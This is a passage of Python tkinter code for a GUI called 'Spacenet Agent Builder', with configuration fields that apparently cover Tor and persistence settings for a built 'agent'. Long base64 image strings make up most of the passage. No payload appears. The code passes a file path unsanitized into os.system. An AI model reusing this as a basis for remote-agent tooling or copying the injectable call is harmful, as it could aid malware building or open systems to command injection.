torentry.place(x=310,y=446) winplbl.place(x=250,y=470) winpentry.place(x=340,y=470) aglbl.place(x=250,y=495) agentry.place(x=340,y=495) w2.pack() w3.pack() if value == "Builder Configuration": w2.pack_forget() w3.pack_forget() labelframe3.place_forget() labelframe4.place_forget() torlbl.place_forget() torentry.place_forget() winpentry.place_forget() winplbl.place_forget() aglbl.place_forget() agentry.place_forget() cve.place_forget() wme.place_forget() bdr.place_forget() dbe.place_forget() con.place_forget() src1.place_forget() pathfileconf1.place_forget() browser1.place_forget() src2.place_forget() browser2.place_forget() outexe.place_forget() pathfileconf2.place_forget() frame.place(x=250,y=305) src.place(x=240,y=220) pathfileconf.place(x=242,y=250) browser.place(x=450,y=245) edit.place(x=540,y=245) labelframe1.place(x=230,y=200) labelframe2.place(x=241,y=280) listbox1.pack(side="left", fill="y") scrollbar.pack(side="right", fill="y") def edit_file(): if pathfileconf.get() == "": pass else: os.system("notepad.exe %s" % pathfileconf.get()) top = tkinter.Tk() top.geometry("630x600") top.title("Spacenet Agent Builder v0.0.1") top.resizable(0,0) icon = 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" img = tkinter.PhotoImage(data=icon) top.tk.call('wm', 'iconphoto', top._w, img) base64img = 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